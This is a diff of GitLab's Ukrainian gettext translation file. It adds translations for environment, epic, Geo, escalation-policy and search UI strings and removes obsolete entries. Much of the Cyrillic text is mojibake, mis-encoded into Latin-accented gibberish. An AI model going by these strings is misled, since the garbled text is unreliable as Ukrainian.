+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13266,10 +13523,10 @@ msgstr ""
msgid "Environment"
msgid_plural "Environments"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Середовище"
+msgstr[1] "Середовища"
+msgstr[2] "Середовищ"
+msgstr[3] "Середовищ"
msgid "Environment does not have deployments"
msgstr "Середовище не має розгортань"
@@ -13334,16 +13591,13 @@ msgstr "ЗавданнÑ: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Додаткові дії"
-msgid "EnvironmentsDashboard|More information"
-msgstr "Детальніше"
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Видалити"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "Панель ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ñередовищами міÑтить інформацію про Ñтан кожного із проєктних Ñередовищ включно зі Ñтаном конвеєрів та попереджень."
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13371,10 +13625,10 @@ msgid "Environments|Are you sure you want to stop this environment?"
msgstr "Ви впевнені що хочете зупинити це Ñередовище?"
msgid "Environments|Auto stop"
-msgstr ""
+msgstr "Ðвтоматична зупинка"
msgid "Environments|Auto stops %{autoStopAt}"
-msgstr ""
+msgstr "Ðвтоматичні зупинки %{autoStopAt}"
msgid "Environments|Commit"
msgstr "Коміт"
@@ -13404,7 +13658,7 @@ msgid "Environments|Deployment"
msgstr "РозгортаннÑ"
msgid "Environments|Deployment %{status}"
-msgstr ""
+msgstr "Ð Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ %{status}"
msgid "Environments|Enable review app"
msgstr ""
@@ -13455,7 +13709,7 @@ msgid "Environments|Note that this action will stop the environment, but it will
msgstr "Зверніть увагу, що Ñ†Ñ Ð´Ñ–Ñ Ð·ÑƒÐ¿Ð¸Ð½Ð¸Ñ‚ÑŒ Ñередовище, але це %{emphasisStart}не%{emphasisEnd} впливатиме на будь-Ñке Ñ–Ñнуюче Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· відÑутніÑÑ‚ÑŒ операції зупинки в файлі %{ciConfigLinkStart}.gitlab-ci.yml%{ciConfigLinkEnd}."
msgid "Environments|Open"
-msgstr ""
+msgstr "Відкрити"
msgid "Environments|Open live environment"
msgstr "Відкрити працююче Ñередовище"
@@ -13494,7 +13748,7 @@ msgid "Environments|Stop environment"
msgstr "Зупинити Ñередовище"
msgid "Environments|Stopping %{environmentName}"
-msgstr ""
+msgstr "Зупинка %{environmentName}"
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð»Ð¾Ð³Ñ–Ð². Будь лаÑка, Ñпробуйте ще раз."
@@ -13506,10 +13760,10 @@ msgid "Environments|This action will run the job defined by %{name} for commit %
msgstr "Ð¦Ñ Ð´Ñ–Ñ Ð·Ð°Ð¿ÑƒÑтить Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ñ–Ð· іменем %{name} Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ %{linkStart}%{commitId}%{linkEnd} повертаючи Ñередовище до попередньої верÑÑ–Ñ—. Ви зможете повернути його шлÑхом повторного Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð¾Ñтанньої верÑÑ–Ñ— вашого заÑтоÑунку. Ви впевнені, що хочете продовжити?"
msgid "Environments|Upcoming"
-msgstr ""
+msgstr "Майбутнє"
msgid "Environments|Upcoming deployment"
-msgstr ""
+msgstr "Майбутнє розгортаннÑ"
msgid "Environments|Updated"
msgstr "Оновлено"
@@ -13566,7 +13820,7 @@ msgid "Epics|Add a new epic"
msgstr "Додати новий епік"
msgid "Epics|Add an existing epic"
-msgstr ""
+msgstr "Додати Ñ–Ñнуючий епік"
msgid "Epics|An error occurred while saving the %{epicDateType} date"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при збереженні дати %{epicDateType}"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Як Ñ Ð¼Ð¾Ð¶Ñƒ це вирішити?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13602,7 +13853,7 @@ msgid "Epics|Search epics"
msgstr "Пошук епіків"
msgid "Epics|Select epic"
-msgstr ""
+msgstr "Вибрати епік"
msgid "Epics|Show more"
msgstr "Показати більше"
@@ -13620,7 +13871,7 @@ msgid "Epics|Something went wrong while fetching child epics."
msgstr "ЩоÑÑŒ пішло не так при отриманні дочірніх епіків."
msgid "Epics|Something went wrong while fetching epics list."
-msgstr ""
+msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ ÑпиÑку eпіків."
msgid "Epics|Something went wrong while fetching group epics."
msgstr "Помилка при отриманні епіків групи."
@@ -13634,9 +13885,6 @@ msgstr "Помилка при вÑтановленні порÑдку елеме
msgid "Epics|Something went wrong while removing issue from epic."
msgstr "Помилка при видаленні задачі із епіка."
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Ці дати впливають на те, Ñк ваші епіки відображатимутьÑÑ Ð½Ð° плані-графіку. Дати з етапів берутьÑÑ Ð· етапів, призначених до задач у цьому епіку. Ви також можете задавати фікÑовані дати, або видалÑти Ñ—Ñ…."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13851,7 +14099,7 @@ msgid "Error: %{error_message}"
msgstr "Помилка: %{error_message}"
msgid "Error: %{error}"
-msgstr ""
+msgstr "Помилка: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
@@ -13950,7 +14198,7 @@ msgid "EscalationPolicies|Add escalation policy"
msgstr ""
msgid "EscalationPolicies|Add policy"
-msgstr ""
+msgstr "Додати політику"
msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13989,7 +14237,7 @@ msgid "EscalationPolicies|Maximum of 10 rules has been reached."
msgstr ""
msgid "EscalationPolicies|Minutes must be between 0 and 1440."
-msgstr ""
+msgstr "Хвилини мають бути від 0 до 1440."
msgid "EscalationPolicies|Remove escalation rule"
msgstr ""
@@ -13998,7 +14246,7 @@ msgid "EscalationPolicies|Search for user"
msgstr "Пошук кориÑтувача"
msgid "EscalationPolicies|Select schedule"
-msgstr ""
+msgstr "Виберіть розклад"
msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
msgstr ""
@@ -14016,7 +14264,7 @@ msgid "EscalationPolicies|This policy has no escalation rules."
msgstr ""
msgid "EscalationPolicies|mins"
-msgstr ""
+msgstr "Хвилини"
msgid "Estimate"
msgstr "Оцінити"
@@ -14031,7 +14279,7 @@ msgid "EventFilterBy|Filter by comments"
msgstr "Фільтрувати по коментарÑм"
msgid "EventFilterBy|Filter by designs"
-msgstr ""
+msgstr "Фільтрувати за дизайном"
msgid "EventFilterBy|Filter by epic events"
msgstr "Фільтрувати за подіÑми епіків"
@@ -14095,10 +14343,10 @@ msgstr "Кожні 2 тижні"
msgid "Every week"
msgid_plural "Every %d weeks"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Кожного тижнÑ"
+msgstr[1] "Кожні %d тижні"
+msgstr[2] "Кожні %d тижнів"
+msgstr[3] "Кожні %d тижнів"
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -14157,9 +14405,6 @@ msgstr "Політика виключеннÑ:"
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14233,7 +14478,7 @@ msgid "Expiration date (optional)"
msgstr ""
msgid "Expiration date:"
-msgstr ""
+msgstr "Термін дії:"
msgid "Expired"
msgstr "Термін дії закінчивÑÑ"
@@ -14251,7 +14496,7 @@ msgid "Expires in %{expires_at}"
msgstr "ЗакінчуєтьÑÑ %{expires_at}"
msgid "Expires on"
-msgstr ""
+msgstr "Діє до"
msgid "Expires:"
msgstr "ЗакінчуєтьÑÑ:"
@@ -14277,6 +14522,12 @@ msgstr "ОглÑд проєктів"
msgid "Explore public groups"
msgstr "ПереглÑнути публічні групи"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "ЕкÑпорт"
@@ -14293,10 +14544,10 @@ msgid "Export group"
msgstr "ЕкÑпортувати групу"
msgid "Export issues"
-msgstr ""
+msgstr "ЕкÑпортувати задачі"
msgid "Export merge requests"
-msgstr ""
+msgstr "ЕкÑпортувати запити на злиттÑ"
msgid "Export project"
msgstr "ЕкÑпорт проєкту"
@@ -14311,7 +14562,7 @@ msgid "Export this project with all its related data in order to move it to a ne
msgstr ""
msgid "Export variable to pipelines running on protected branches and tags only."
-msgstr ""
+msgstr "ЕкÑпортувати змінну до конвеєрів, Ñкі працюють лише на захищених гілках Ñ– тегах."
msgid "Exported requirements"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr "Мітка клаÑифікації"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Якщо клаÑифікаційну мітку не вÑтановлено, викориÑтовуватиметьÑÑ Ñтандартна мітка `%{default_label}`."
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,9 +14727,12 @@ msgstr "Ðе вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ ref."
msgid "Failed to install."
msgstr "Ðе вдалоÑÑ Ð²Ñтановити."
-msgid "Failed to load assignees."
+msgid "Failed to load"
msgstr ""
+msgid "Failed to load assignees."
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ виконавців."
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -14501,7 +14761,7 @@ msgid "Failed to load groups, users and deploy keys."
msgstr ""
msgid "Failed to load iterations."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ ітерації."
msgid "Failed to load labels. Please try again."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ мітки. Будь лаÑка, Ñпробуйте ще раз."
@@ -14536,6 +14796,9 @@ msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñтити цю задачу, тому Ñ
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñтити цю задачу, тому що цільовий проєкт не Ñ–Ñнує."
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ½ÐµÑти мітку через внутрішню проблему. Будь лаÑка, звернітьÑÑ Ð´Ð¾ адмініÑтраторів."
@@ -14548,9 +14811,6 @@ msgstr "Ðе вдалоÑÑ Ð·Ñ€Ð¾Ð±Ð¸Ñ‚Ð¸ Ñередовище захищени
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ Zoom-зуÑтріч"
@@ -14612,7 +14872,7 @@ msgid "Failed to update issue status"
msgstr ""
msgid "Failed to update the Canary Ingress."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ Canary Ingress."
msgid "Failed to update."
msgstr "Ðе вдалоÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸."
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Фільтрувати за назвою етапу"
@@ -15073,7 +15336,7 @@ msgid "Finished at"
msgstr ""
msgid "First Name"
-msgstr ""
+msgstr "Ім’Ñ"
msgid "First Seen"
msgstr "Перший раз помічено"
@@ -15090,15 +15353,6 @@ msgstr "Перший раз знайдено"
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Дата виправленнÑ"
-
-msgid "Fixed due date"
-msgstr "ФікÑована дата завершеннÑ"
-
-msgid "Fixed start date"
-msgstr "Виправлена дата початку"
-
msgid "Fixed:"
msgstr "Виправлено:"
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15238,10 +15495,10 @@ msgid "ForkProject|Internal"
msgstr "Внутрішній"
msgid "ForkProject|Please select a namespace"
-msgstr ""
+msgstr "Будь лаÑка, виберіть проÑÑ‚Ñ–Ñ€ імен"
msgid "ForkProject|Please select a visibility level"
-msgstr ""
+msgstr "Будь лаÑка, виберіть рівень видимоÑÑ‚Ñ–"
msgid "ForkProject|Private"
msgstr "Приватний"
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15421,10 +15681,10 @@ msgid "Geo sites"
msgstr ""
msgid "Geo|%{component} synced"
-msgstr ""
+msgstr "Синхронізовано з%{component}"
msgid "Geo|%{component} verified"
-msgstr ""
+msgstr "%{component} підтверджено"
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15495,20 +15755,17 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ Ð·Ð°Ð¿Ð¸Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ–Ñнуючого проєкту."
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ Ð·Ð°Ð¿Ð¸Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ñ–Ñнуючого завантаженнÑ."
-
msgid "Geo|Data replication lag"
-msgstr ""
+msgstr "Затримка реплікації даних"
msgid "Geo|Data type"
-msgstr ""
+msgstr "Тип даних"
msgid "Geo|Disabled"
-msgstr ""
+msgstr "Вимкнено"
msgid "Geo|Discover GitLab Geo"
-msgstr ""
+msgstr "Відкрийте Ð´Ð»Ñ Ñебе GitLab Geo"
msgid "Geo|Does not match the primary storage configuration"
msgstr ""
@@ -15526,7 +15783,7 @@ msgid "Geo|Geo Status"
msgstr "Geo ÑтатуÑ"
msgid "Geo|Geo sites"
-msgstr ""
+msgstr "Geo Ñайти"
msgid "Geo|Geo sites are paused using a command run on the site"
msgstr ""
@@ -15538,7 +15795,7 @@ msgid "Geo|Go to the primary site"
msgstr ""
msgid "Geo|Healthy"
-msgstr ""
+msgstr "Здоровий"
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -15607,7 +15864,7 @@ msgid "Geo|Nothing to verify"
msgstr ""
msgid "Geo|Offline"
-msgstr ""
+msgstr "Офлайн"
msgid "Geo|Pending synchronization"
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñинхронізації"
@@ -15616,25 +15873,25 @@ msgid "Geo|Pending verification"
msgstr "ÐžÑ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸"
msgid "Geo|Primary node"
-msgstr ""
+msgstr "Первинний вузол"
msgid "Geo|Primary site"
-msgstr ""
+msgstr "ОÑновний Ñайт"
msgid "Geo|Project"
msgstr "Проєкт"
msgid "Geo|Project (ID: %{project_id}) no longer exists on the primary. It is safe to remove this entry, as this will not remove any data on disk."
-msgstr "Проект (ID: %{project_id}) більше не Ñ–Ñнує на оÑновному вузлі. Поточний Ð·Ð°Ð¿Ð¸Ñ Ð¼Ð¾Ð¶Ð½Ð° безпечно видалити, оÑкільки це не видалÑÑ” жодних даних на диÑку."
+msgstr "Проєкт (ID: %{project_id}) більше не Ñ–Ñнує на оÑновному вузлі. Поточний Ð·Ð°Ð¿Ð¸Ñ Ð¼Ð¾Ð¶Ð½Ð° безпечно видалити, оÑкільки це не видалÑÑ” жодних даних на диÑку."
msgid "Geo|Projects in certain groups"
-msgstr "Проекти в певних групах"
+msgstr "Проєкти в певних групах"
msgid "Geo|Projects in certain storage shards"
-msgstr "Проекти в певних Ñегментах Ñховищ"
+msgstr "Проєкти в певних Ñегментах Ñховищ"
msgid "Geo|Queued"
-msgstr ""
+msgstr "Черга"
msgid "Geo|Redownload"
msgstr "Повторне завантаженнÑ"
@@ -15646,7 +15903,7 @@ msgid "Geo|Remove entry"
msgstr "Видалити запиÑ"
msgid "Geo|Remove node"
-msgstr ""
+msgstr "Видалити вузол"
msgid "Geo|Remove tracking database entry"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "Ð—Ð°Ð¿Ð¸Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ (%{project_id}) уÑпішно видалено."
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr "Ð—Ð°Ð¿Ð¸Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð´Ð»Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ (%{type}/%{id}) було уÑпішно видалено."
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr "GitLab коміт"
@@ -15970,7 +16227,7 @@ msgid "GitLab is a complete DevOps platform, delivered as a single application,
msgstr ""
msgid "GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security."
-msgstr ""
+msgstr "GitLab Ñ” окремою програмою Ð´Ð»Ñ Ð²Ñього життєвого циклу розробки програмного забезпеченнÑ. Від Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‚Ð° ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð²Ð¸Ñ…Ñ–Ð´Ð½Ð¸Ð¼Ð¸ кодами до CI/CD, моніторингу та безпеки."
msgid "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later."
msgstr "GitLab отримує SSL-Ñертифікат Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ домену від Let's Encrypt. Це може зайнÑти деÑкий чаÑ. Будь лаÑка, Ñпробуйте знову пізніше."
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr "ВерÑÑ–Ñ GitLab"
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr "GitLab.com"
@@ -16072,7 +16332,7 @@ msgid "GitLabPages|Removing pages will prevent them from being exposed to the ou
msgstr "Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñторінок зробить Ñ—Ñ… недоÑтупними Ð´Ð»Ñ Ð·Ð¾Ð²Ð½Ñ–ÑˆÐ½ÑŒÐ¾Ð³Ð¾ Ñвіту."
msgid "GitLabPages|Save changes"
-msgstr ""
+msgstr "Зберегти зміни"
msgid "GitLabPages|Something went wrong while obtaining the Let's Encrypt certificate for %{domain}. To retry visit your %{link_start}domain details%{link_end}."
msgstr "ЩоÑÑŒ пішло не так при отриманні Ñертифікату Let's Encrypt Ð´Ð»Ñ %{domain}. Перевірте %{link_start}деталі домену%{link_end}, щоб повторити Ñпробу."
@@ -16135,7 +16395,7 @@ msgid "GithubIntegration|Obtain statuses for commits and pull requests."
msgstr ""
msgid "GithubIntegration|Repository URL"
-msgstr ""
+msgstr "URL-адреÑа репозитарію"
msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
msgstr ""
@@ -16150,10 +16410,10 @@ msgid "Gitpod"
msgstr "Gitpod"
msgid "Gitpod|Enable Gitpod integration"
-msgstr ""
+msgstr "Увімкнути інтеграцію Gitpod"
msgid "Gitpod|Gitpod URL"
-msgstr ""
+msgstr "URL-адреÑа Gitpod"
msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
msgstr ""
@@ -16162,7 +16422,7 @@ msgid "Gitpod|To use the integration, each user must also enable Gitpod on their
msgstr ""
msgid "Gitpod|https://gitpod.example.com"
-msgstr ""
+msgstr "https://gitpod.example.com"
msgid "Given access %{time_ago}"
msgstr "Ðадано доÑтуп %{time_ago}"
@@ -16179,6 +16439,51 @@ msgstr "Глобальні комбінації клавіш"
msgid "Global notification settings"
msgstr "Загальні Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñповіщень"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "ПовернутиÑÑ"
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr "Google Cloud"
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16624,10 +16944,10 @@ msgid "GroupRoadmap|The roadmap shows the progress of your epics along a timelin
msgstr "План-графік епіків відображає Ñтан ваших епіків у чаÑÑ–"
msgid "GroupRoadmap|This quarter"
-msgstr ""
+msgstr "Цей квартал"
msgid "GroupRoadmap|This year"
-msgstr ""
+msgstr "Цього року"
msgid "GroupRoadmap|To make your epics appear in the roadmap, add start or due dates to them."
msgstr ""
@@ -16642,12 +16962,12 @@ msgid "GroupRoadmap|To widen your search, change or remove filters; from %{start
msgstr "Щоб розширити пошук, змініть або видаліть фільтри; від %{startDate} до %{endDate}."
msgid "GroupRoadmap|Within 3 years"
-msgstr ""
+msgstr "ПротÑгом 3-Ñ… років"
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr "Ви можете перенеÑти цю групу тільки в групу, Ñкою ви керуєте."
@@ -17124,7 +17450,10 @@ msgstr "Хешовані шлÑхи Ð´Ð»Ñ Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr "Тут ви знайдете нещодавню активніÑÑ‚ÑŒ в
msgid "Hi %{username}!"
msgstr "Привіт %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr "Приховати"
@@ -17421,7 +17756,7 @@ msgid "I want to store my code"
msgstr ""
msgid "I want to use GitLab CI with my existing repository"
-msgstr ""
+msgstr "Я хочу викориÑтовувати GitLab CI зі Ñвоїм Ñ–Ñнуючим репозиторієм"
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr "Ідентифікатори"
msgid "Identities"
msgstr "ІдентифікаціÑ"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17913,7 +18251,7 @@ msgid "InProductMarketing|Create a custom CI runner with just a few clicks"
msgstr ""
msgid "InProductMarketing|Create a custom runner"
-msgstr ""
+msgstr "Створити влаÑного runner"
msgid "InProductMarketing|Create a project in GitLab in 5 minutes"
msgstr ""
@@ -17940,13 +18278,13 @@ msgid "InProductMarketing|Do you have a teammate who would be perfect for this t
msgstr ""
msgid "InProductMarketing|Easy"
-msgstr ""
+msgstr "Легко"
